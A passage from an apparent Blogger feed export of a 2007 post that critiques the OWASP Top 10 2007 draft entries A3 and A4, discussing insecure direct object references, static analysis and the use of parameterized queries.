do.&lt;br /&gt;&lt;br /&gt;With the confusion I have between this and A4, I'll have more interesting things to say about...&lt;br /&gt;&lt;br /&gt;A4 Insecure Direct Object Reference&lt;br /&gt;Again, this appears to be the same as A3, but A3 seemed to be really really focused on PHP type flaws (although they say you can do similar things with .NET or J2EE apps).  The Verifying Security section implies that static analysis tools can't determine what does and doesn't need access control, but from my experience, all of them will flag places where filename injection can take place, and where key exposure takes place -this is a far safer approach when you get false positives, rather than false negatives, although it does require a manual analysis of the results to determine what is acceptable.&lt;br /&gt;&lt;br /&gt;What's funny about the example is that while SQL Injection isn't possible because they use parseInt on both parameters, you still should use parameterized queries on every single query, without fail.  There are more reasons to use parameterized queries than just to be rid of SQL Injection, and to make recommendation in one place to use them, then to fail to do so later makes the document look really really bad.  What if &amp;quot;cartID&amp;quot; becomes a CHAR type later on?&lt;br /&gt;&lt;br /&gt;Fortunately, both of these flaws recommend &lt;a href="http://sylvanvonstuppe.blogspot.com/2006/10/level-of-indirection.html"&gt;a level of indirection&lt;/a&gt; as a good fix.  Unfortunately, I can't tell enough difference between the two vulnerabilities to actually call them different vulnerabilities.  These types of unclarity will make those who don't always look at the document (developers) run away from it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5173244741873597448?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.owasp.org/index.php/Top_10_2007' title='OWASP Top 10 2007 Update RC1 - A3 A4'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5173244741873597448/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/owasp-top-10-2007-update-rc1-a3-a4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5173244741873597448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5173244741873597448'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/02/owasp-top-10-2007-update-rc1-a3-a4.html' title='OWASP Top 10 2007 Update RC1 - A3 A4'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry></feed>
